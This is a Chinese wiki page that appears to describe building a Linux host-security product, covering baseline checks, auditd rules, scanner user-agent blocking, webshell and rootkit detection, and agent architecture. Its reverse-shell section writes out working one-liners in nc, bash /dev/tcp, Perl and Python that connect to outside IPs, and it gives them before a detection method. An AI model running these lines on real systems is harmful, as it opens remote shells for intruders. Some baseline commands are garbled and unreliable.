Skip to content

安全产品之主机安全

xianlimei edited this page Jan 3, 2018 · 38 revisions

2、安全产品之主机安全

2.1 主机安全问题

这里的主机都是指linux服务器,并非是windows,家里电脑一有问题,就认为是中病毒了,然后开始杀毒^_^。主机安全跟这个区别很大的,那么主机会遇到哪些安全问题。主机安全的相关开源软件也不少,知名的如ossec,ACARM-ng等,有兴趣的可以对比下,我们的与他们的不同。

一、安全基线检测

基线可以参考下http://www.owasp.org.cn/owasp-project/jixian。 安全基线是事前安全检测,在业务上线之前对整个生产环境做安全检测。很多安全事件都是基线不达标造成的,比如root启动web服务,web服务目录权限配置错误等。

二、系统监控

系统监控是保障业务运行时安全,主要监控用户行为,系统文件,系统命令,一般黑客入侵以后,都会篡改系统相关文件,命令,新增用户等

三、网络监控

  1. 暴力破解

这个很好理解,所有机器都需要账户密码进行登录。一般登录服务器都是使用ssh协议,如果还有用telnet的,还是换了吧。ssh协议一般暴露的端口是22,自己也可以修改配置文件/etc/ssh/sshd_config的port,改成任意端口。有了对外的端口黑客就可以肆意扫描,进行暴力破解,获取系统账户密码。


  1. 感知扫描

只要主机挂到公网,就会面临每天不间断的扫描探测,获取你的主机的指纹信息,黑客得到更多的情报,以便进行下一步的攻击。


  1. 反弹shell

反弹shell是黑客惯用的手段,主要是服务器都在内网,外面有防火墙,正向连接不行。但是你又想控制中招的主机,反弹shell正好合适,攻击者指定服务端,被攻击主机主动连接攻击者的服务器程序。反弹shell方式多种多样,后面我们会详细介绍。


四、信息泄露

  1. github、svn信息泄露

这类泄露会直接造成代码泄露,后果很严重


  1. web信息泄露

这类主要是web配置不正确,以及phpinfo之类的造成信息泄露phpinfo之类的造成信息泄露


五、入侵检测

一般黑客入侵主机以后,都会留下后门,简单理解就是木马,方便控制主机,黑客留下的木马种类繁多,我们列出常见的几类


  1. webshell查杀

webshell说白了,就是php,java,asp,python等写的可以控制服务器的代码,简单理解就是一个socket连接,然后下发命令操作机器。最有名的也就是菜刀了。webshell核心不是代码,核心是怎么伪装不让人发现。


  1. rootkite

针对Linux主机的高级木马,现在一般都是基于Linux LKM机制编写的代码,隐藏极深,很难发现。


  1. 系统病毒

这种都是以恶意破坏或者勒索为主了,主机上遇到的不多,此处不多说。


以上这些是笔者多年来遇到的,常见的主机安全问题。

2.2 安全功能详解

一、安全基线检测

1.登录口令设置


安全基线项目名称:


操作系统Linux用户口令


安全基线要求项:


安全基线项说明帐号与口令-用户口令


设置检测操作步骤:


1、询问管理员是否存在如下类似的简单用户密码配置,比如:root/root

2、执行:more /etc/login,检查PASS_MAX_DAYS/PASS_MIN_LEN/PASS_MIN_DAYS/PASS_WARN_AGE参数

3、执行:awk -F: '( == "") { print }' /etc/shadow, 检查是否存在空口令账号

4、判断是否开启双因素认证,一般使用google_authenticatorg,

cat /etc/pam.d/sshd|grep pam_google_authenticator.so


基线符合性判定依据:


建议在/etc/login文件中配置:PASS_MIN_LEN=8,不允许存在简单密码,密码设置符合策略,如长度至少为8不存在空口令账号,最好启用双因素认证


备注:


2.检查除root之外uid为0的用户


安全基线项目名称操作系统:


Linux超级用户策略安全基线要求项


安全基线项说明:


帐号与口令-检查是否存在除root之外UID为0的用户


检测操作步骤执行:


awk -F: '( == 0) { print }' /etc/passwd


基线符合性判定依据:


返回值包括“root”以外的条目,则低于安全要求;


备注:


3.检查root用户环境变量的安全性

安全基线项目名称操作系统:


Linux超级用户环境变量安全基线要求项


安全基线项说明:


帐号与口令-root用户环境变量的安全性


检测操作步骤执行:


执行:echo $PATH | egrep '(^|:)(\.|:|$)',检查是否包含父目录,

执行:find echo $PATH | tr ':' ' ' -type d \( -perm -002 -o -perm -020 \) -ls,检查是否包含组目录权限为777的目录


基线符合判定依据:


返回值包含以上条件,则低于安全要求;

find echo $PATH | tr ':' ' ' -type d \( -perm -777 -o -perm -777 \) -ls


备注:


补充操作说明

确保root用户的系统路径中不包含父目录,在非必要的情况下,不应包含组权限为777的目录


4.远程连接的安全性设置

安全基线项目名称:


操作系统Linux远程连接安全基线要求项


安全基线项说明:


帐号与口令-远程连接的安全性配置检测操作步骤


1、执行:find / -name .netrc,检查系统中是否有.netrc文件,

2、执行:find / -name .rhosts ,检查系统中是否有.rhosts


文件基线符合性判定依据:


返回值包含以上条件,则低于安全要求


备注:


补充操作说明如无必要,删除这两个文件


5.重要目录和文件的权限设置

安全基线项目名称:


操作系统Linux目录文件权限安全基线要求项


安全基线项说明:


文件系统-重要目录和文件的权限设置


检测操作步骤:


执行以下命令检查目录和文件的权限设置情况:

ls –l /etc/

ls –l /etc/rc.d/init.d/

ls –l /tmp

ls –l /etc/inetd.conf

ls –l /etc/passwd

ls –l /etc/shadow

ls –l /etc/group

ls –l /etc/security

ls –l /etc/services

ls -l /etc/rc*.d


基线符合性判定依据:


`若权限过低,则低于安全要求;`

备注:


补充操作说明

对于重要目录,建议执行如下类似操作:

# chmod -R 750 /etc/rc.d/init.d/*

这样只有root可以读、写和执行这个目录下的脚本。


6.查找未授权的SUID/SGID文件

安全基线项目名称:


`操作系统Linux SUID/SGID文件安全基线要求项`

安全基线项说明:


`文件系统-查找未授权的SUID/SGID文件`

检测操作步骤:


`用下面的命令查找系统中所有的SUID和SGID程序,执行:`

for PART in grep -v ^# /etc/fstab | awk '( != "0") {print }'; do

find / \( -perm -04000 -o -perm -02000 \) -type f -xdev -print

Done


基线符合性判定依据:


`若存在未授权的文件,则低于安全要求;`

备注:


`补充操作说明`

建议经常性的对比suid/sgid文件列表,以便能够及时发现可疑的后门程序


7.检查任何人都有写权限的目录


安全基线项目名称:


`操作系统Linux目录写权限安全基线要求项`

安全基线项说明:


`文件系统-检查任何人都有写权限的目录`

检测操作步骤:


在系统中定位任何人都有写权限的目录用下面的命令:

for PART in awk '( == "ext2" || == "ext3") `

{ print }' /etc/fstab; do`

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print

Done


基线符合性判定依据:


若返回值非空,则低于安全要求;


备注:


8.查找任何人都有写权限的文件

安全基线项目名称:


`操作系统Linux文件写权限安全基线要求项`

安全基线项说明:


`文件系统-查找任何人都有写权限的文件`

检测操作步骤:


在系统中定位任何人都有写权限的文件用下面的命令:

for PART in grep -v ^# /etc/fstab | awk '( != "0") {print }'; do

find $PART -xdev -type f \( -perm -0002 -a ! -perm -1000 \) -print

Done


基线符合性判定依据:


`若返回值非空,则低于安全要求;`

备注:


9.检查没有属主的文件

安全基线项目名称:


操作系统Linux文件所有权安全基线要求项


安全基线项说明:


`文件系统-检查没有属主的文件`

检测操作步骤:


`定位系统中没有属主的文件用下面的命令:`

for PART in grep -v ^# /etc/fstab | awk '( != "0") {print }'; do

find $PART -nouser -o -nogroup -print

done

注意:不用管“/dev”目录下的那些文件。


基线符合性判定依据:


`若返回值非空,则低于安全要求;`

备注:


`补充操作说明`

发现没有属主的文件往往就意味着有黑客入侵你的系统了。不能允许没有主人的文件存在。如果在系统中发现了没有主人的文件或目录,先查看它的完整性,如果一切正常,给它一个主人。有时候卸载程序可能会出现一些没有主人的文件或目录,在这种情况下可以把这些文件和目录删除掉。


10.检查异常隐含文件

安全基线项目名称:


`操作系统Linux隐含文件安全基线要求项`

安全基线项说明:


`文件系统-检查异常隐含文件`

检测操作步骤:


`用“find”程序可以查找到这些隐含文件。例如:`

`# find  / -name ".. *" -print –xdev`

`# find  / -name "…*" -print -xdev | cat -v`

同时也要注意象“.xx”和“.mail”这样的文件名的。(这些文件名看起来都很象正常的文件名)


基线符合性判定依据:


`若返回值非空,则低于安全要求;`

备注:


`补充操作说明`

在系统的每个地方都要查看一下有没有异常隐含文件(点号是起始字符的,用“ls”命令看不到的文件),因为这些文件可能是隐藏的黑客工具或者其它一些信息(口令破解程序、其它系统的口令文件,等等)。在UNIX下,一个常用的技术就是用一些特殊的名,如:“…”、“.. ”(点点空格)或“..^G”(点点control-G),来隐含文件或目录。


11.syslog登录事件记录

安全基线项目名称:


`操作系统Linux登录审计安全基线要求项`

安全基线项说明:


`日志审计-syslog登录事件记录`

检测操作步骤:


`执行命令:more /etc/syslog.conf`

查看参数authpriv值


基线符合性判定依据:


`若未对所有登录事件都记录,则低于安全要求;`

备注:


12.禁止显示Nginx版本号

安全基线项目名称:


`禁止显示Nginx版本号`

安全基线项说明:


`访问nginx服务器错误页面时不再显示nginx版本号`

检测操作步骤:


`修改nginx.conf配置文件,去掉注释符,关闭server  token:`

server_tokens off;


基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


13.禁止Nginx子进程以root启动

安全基线项目名称:


`Nginx子进程禁止以root权限运行`

安全基线项说明:


`禁止OP错误的配置让nginx: worker process(工作进程)以root权限运行`

检测操作步骤:


`ps -aux  |grep "[w]orker process"`

基线符合性判定依据:


若不存在,则低于安全要求


备注:


编辑nginx.conf,确认user后面的帐号为非root权限,无登录shell的帐号,如下例

user www-data;

user nobody;


14.配置敏感文件访问权限

安全基线项目名称:


配置敏感文件访问权限


安全基线项说明:


`严格设置配置文件和日志文件等敏感文件的访问权限,防止未授权访问`

检测操作步骤:


1、使用如下命令查看nginx.conf文件权限

#ls -l /etc/nginx/nginx.conf

若为-rw-r—r—即符合要求

2、按照上述方法查看.log格式的文件权限

acess.log和error.log

若为-rw-r—r—即为符合要求


基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


`使用命令“chmod 644 /etc/nginx/nginx.conf”& /etc/nginx/conf.d/设置配置文件为属主可读写,其他用户无权限。`

使用命令“chmod 644 /var/log/nginx*”设置日志文件为属主可读写,其他用户只读权限。


15.禁止web目录存放备份文件

安全基线项目名称:


`禁止备份、敏感文件解析`

安全基线项说明:


`禁止.tar .bak  .svn  .git等文件解析`

检测操作步骤:


`检测web目录下是否存在.tar .bak  .svn  .git等文件`

基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


16.禁止mysql子进程以root启动

安全基线项目名称:


`mysql子进程禁止以root权限运行`

安全基线项说明:


`禁止OP错误的配置让mysql: worker process(工作进程)以root权限运行`

检测操作步骤:


`ps -aux  |grep "[w]orker process"`

基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


17.禁止redis子进程以root启动

安全基线项目名称:


禁止redis子进程以root启动


安全基线项说明:


`禁止OP错误的配置让redis: worker process(工作进程)以root权限运行`

检测操作步骤:


`ps -aux  |grep "[w]orker process"`

基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


18.禁止无密码访问

安全基线项目名称:


`禁止无密码访问`

安全基线项说明:


`禁止redis无密码访问`

检测操作步骤:


`无密码连接测试`

基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


19.禁止mongodb子进程以root启动

安全基线项目名称:


`禁止mongodb子进程以root启动`

安全基线项说明:


禁止OP错误的配置让mongodb: worker process(工作进程)以root权限运行


检测操作步骤:


`ps -aux  |grep "[w]orker process"`

基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


20.禁止无密码访问

安全基线项目名称:


`禁止无密码访问`

安全基线项说明:


`禁止mongodb无密码访问`

检测操作步骤:


`无密码连接测试`

基线符合性判定依据:


`若不存在,则低于安全要求`

备注:


二、系统监控

linux监控系统的开源软件很多,inotify,audit等,主机安全主要监控系统核心文件,命令被篡改,这些其实inotify都能解决,但是安全是一个说事实讲道理的地方,一个监控如果出现太多误报,可能就不是一个合格的监控软件。如果能关联到用户行为进行分析,准确率会大大提高。比如nginx 用户执行whoami命令,mysql用户执行useradd命令等。综合以上情形我们使用linux内核自带的auditd软件。


1.auditd软件的系统架构

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/5.png 这个图来自网上

从上图可以看出audit主要就分为五个部分

1、auditd内核审计

2、audit应用态与内核通信

3、audit rule 规则管理

4、audit log 日志分析

5、auditctl 对外管理接口

使用步骤

1、yum -y install audit

2、准备规则文件

所有audit相关的都在/var/log/audit/目录

每条规则类似

auditctl -w /etc/passwd -p rwxa-k write:conf

规则写入/etc/audit/audit.rules中去永久有效。

每次加载规则,都需要/etc/init.d/auditd restart

-w path : 指定要监控的路径,上面的命令指定了监控的文件路径 /etc/passwd

-p : 指定触发审计的文件/目录的访问权限

rwxa : 指定的触发条件,r 读取权限,w 写入权限,x 执行权限,a 属性(attr)

-k:是设置一个关键词用于查询,在audit log里过滤

以下是笔者实际用到的规则,audit不支持*,需要修改auditd部分代码实现等方式实现,很简答,此处不描述了。

/etc/cron*,w

/etc/init*,w

/etc/mod*,w

/etc/pam*,w

/etc/rc*,w

/etc/rsyslog*,w

/etc/ssh/*,w

/etc/syslog*,w

/etc/sudo*,w

/etc/ld*,w

/etc/profile*,w

/etc/bash*,w

/var/spool/cron,w

/usr/bin/crontab,x

/root/.bash_profile,w

/root/.bashrc,w

/root/.tcshrc,w

/root/.cshrc,w

auditctl -l 查看所有规则

audit输出

time->Mon Dec 22 09:39:16 2014

type=PATH msg=audit(1419215956.471:194): item=0 name="/etc/passwd" inode=142512 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL type=CWD msg=audit(1419215956.471:194): cwd="/root/test" type=SYSCALL msg=audit(1419215956.471:194): arch=40000003 syscall=5 success=yes exit=3 a0=b779694b a1=80000 a2=1b6 a3=b8776aa8 items=1 ppid=2090 pid=2231 auid=4294967295 uid=0 gid=0euid=0 suid=0 fsuid=0 egid=1000 sgid=1000 fsgid=1000 tty=pts0 ses=4294967295 comm="test" exe="/root/test/test" key=(null)

● time : 审计时间。

● name : 审计对象

● cwd : 当前路径

● syscall : 相关的系统调用

● auid : 审计用户ID

● uid 和 gid : 访问文件的用户ID和用户组ID

● comm : 用户访问文件的命令

● exe : 上面命令的可执行文件路径

了解很多细节可以man auditd


三、网络监控

网络监控的软件太多了,nids网上一大堆,说实话都是配置复杂,误报奇多,搞来搞去解决不了啥问题,不如自己搞了。


1)暴力破解


`针对ssh的暴力破解,最好的就是分析ssh的登录日志了/var/log/secure,不同版本linux系统文件目录不一样,大同小异,统计单位时间登陆失败的次数,做冷冻封禁。封禁方式有多种,一般是iptables或者hosts.deny,比较简单,不再赘述。`

2)感知扫描


感知扫描主要是针对四层以上的攻击,四层以下的扫描,放到ddos模块说

1.端口探测扫描

  `监控思路,某ip不断扫描没启动的危害端口如110,80,23等,且扫描的端口在本机没有被监听。具体哪些端口请根据实际业务情况配置。`
  `linux端口说明请参考http://www.iana.org/assignments/port-numbers`

2.针对http head的ua的过滤

 `grabber|cgichk|bsqlbf|mozilla/4.0 (compatible)|sqlmap||mozilla/5.0 sf//|nessus|arachni|metis|sql power injector|bilbo|absinthe|black widow|n-stealth|brutus|webtrends|netsparker|python-httplib2|jaascois|pmafind|.nasl|nsauditor|paros|dirbuster|pangolin|nmap nse|sqlninja|nikto|webinspect|blackwidow|grendel-scan|havij|w3af|hydra`

3)反弹shell


反弹shell常见姿势

正向反弹shell

服务器端

nc -lvvp 7777 -e /bin/bash

本地

nc XX.XX.XX.XX 7777

即可获得服务器端的shell

反向反弹shell

服务端

nc -e /bin/bash XX.XX.XX.XX 7777

本地

nc -lvvp 7777

不使用-e参数反弹

使用管道

服务端

mknod /tmp/backpipe p

/bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe

攻击端

nc -lnvp 7777

mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。

Bash反弹

服务端:

bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'

或者

bash -i >& /dev/tcp/192.168.242.1/7777 0>&1

攻击端:

nc -lvvp 7777

0x03 Perl反弹shell

服务端:

perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

或者

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

说了反弹shell的姿势,笔者讲下反弹shell的检测思路。

本地执行 nc -lvvp 7777

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/6.png

服务端 nc -e /bin/bash XX.XX.XX.XX 7777

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/7.png

查看bash进程

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/8.png

大家都支持一般bash进程基本都是由ssh启动,如有突然由nc,bash perl python等启动,想想也是很诡异的。

检测思路主要就是查看/bin/bash的父进程是不是sshd

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/9.png


四、信息泄露

1.github、svn信息泄露


github信息泄露,我使用的weakfilescan

Python开发,多线程,猪猪侠开发中文注释,个性化定制,需要beautifulsoup4

用于渗透人员在对网站进行网站渗透时查找敏感文件(配置文件、临时文件)、敏感目录,会首先爬取目标站点的三层目录资源,生成目录FUZZ和文件FUZZ

https://github.com/ring04h/weakfilescan

svn信息泄露,自己写了一个简单的脚本,大致思路如下:

在使用SVN管理本地代码过程中,会自动生成一个名为.svn的隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使.svn隐藏文件夹被暴露于外网环境,黑客可以借助其中包含的用于版本信息追踪的‘entries’文件,逐步摸清站点结构。更严重的问题在于,SVN产生的.svn目录下还包含了以.svn-base结尾的源代码文件副本(低版本SVN具体路径为text-base目录,高版本SVN为pristine目录),如果服务器没有对此类后缀做解析,黑客则可以直接获得文件源代码。知道这些直接做目录遍历就好了,很简单吧。


2.web信息泄露


多数是由于web配置不当引起,比如:

resin配置不合规,黑客可以访问resin控制台。

http:/xxxxx/resin-admin/

还有一类是代码泄露,比如js代码暴露服务路径甚至相关api

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/10.png

来自乌云(目前已关闭)的我是如何窃取到百度受http-only保护的cookie的

我下面说下,web信息泄露的思路

对常规web配置做基线检测,web泄露很难一次解决。


五、入侵检测

1.webshell查杀


现在市场上针对webshell(笔者主要研究了php)查杀的目前主要是三种

1)关键字查杀,比如php 执行 eval($_POST['123456'])

2)语法分析,比如 php 的token解析

3)系统层面的,主要看文件的创建时间,修改时间,创建人,名称等

上面三种都能解决特定的webshell查杀,但是说实话都有误报和漏报。webshell变形甚多,但是核心思路都肯定要执行命令,遍历文件,所以检测思路如下:

从php zend引擎出手hook ZEND_DO_FCALL_BY_NAME、ZEND_INCLUDE_OR_EVAL、ZEND_DO_FCALL,检测是否存在变量名危险函数,以及危险函数的参数是否是正常,一般黑客为了绕过正则查杀,都会对参数、函数用各种技巧进行变形,php是解释执行,zend引擎会对opcode做最终的还原,一切都无所遁行。


2.rootkite


rookite这类木马后门,笔者工作这么多年也就发现一起,这类查杀起来相当困难, Rootkit Hunter、rhkhunter 之类的查杀软件,说实话基本查不出来啥东西。我简单说下原理你就知道,比如:隐藏进程查杀

隐藏进程就是ps你看不到进程,但是该进程真实存在,我们现在先不管怎么做到的,有兴趣的可以看下suterusu,有内核功底的话,代码还是比较简单,此处略过。说下Hunter、rhkhunter之类怎么查杀隐藏进程的,大致思路其实就是

1)执行ps命令获取所有的进程

2)遍历proc目录

3)把两个结果进行对比,如果有不一样的就认为存在隐藏进程

说实话误报极大,而且懂内核也知道,虽然内核中进程都是基于task_struct结构体管理,把一个进程从结构体中替换还是很简单的,方法很多不一一列举。

所以我建议此类应该以预防位置,而不是查杀为主,大部分rookite都是依赖lkm机制,只要监控insmod命令应该就可以解决大部分这类问题。


3.系统病毒


笔者对病毒研究不多,实际工作中linux中毒也比较少,linux的杀毒软件比较有名的是clamav,支持病毒离线,有api可以直接杀毒,比较简单,就是影响性能。


2.3 主机安全架构

上面说了很多主机安全的检测思路,下面就来具体说说主机安全的架构以及实现。

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/11.png


2.3.1架构组建

1.Linux Agent

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/12.png

2.主控服务组建

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/13.png

1).策略服务器

•主从模式

•从策略agent只读,主策略同步程序写

•支持策略服务器水平扩展

2).认证服务器

•Agent 身份认证

•Agent id分配

•Agent 会话秘钥分配

•Agent注册

3).通信服务器

•接收Agent长连接

•接收Agent消息,存入redis里

•支持通信模块集群

•支持通信模块水平扩展

4).消息处理

•处理redis里缓存的消息

•注册消息处理回调函数

5).同步命令

•定时把数据库命令同步到命令redis里

•定时同步策略到策略redis里


3.更新服务器

通过消息通道自动更新,就是覆盖文件,md5比较,比较简单不再赘述。

说道这里基本上主机安全的所有技术点都已经介绍完毕。

2.4 主机安全Web UI设计

2.4.1 主控面板

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/14.png

2.4.2 agent管理

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/15.png

2.4.3 策略管理

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/16.png

2.4.4 策略管理

https://raw.githubusercontent.com/wiki/xianlimei/liaixian11030/17.png

2.5 主机安全相关代码

请等待github更新代码吧^_^

2017-12-28 17:45 第一章

Clone this wiki locally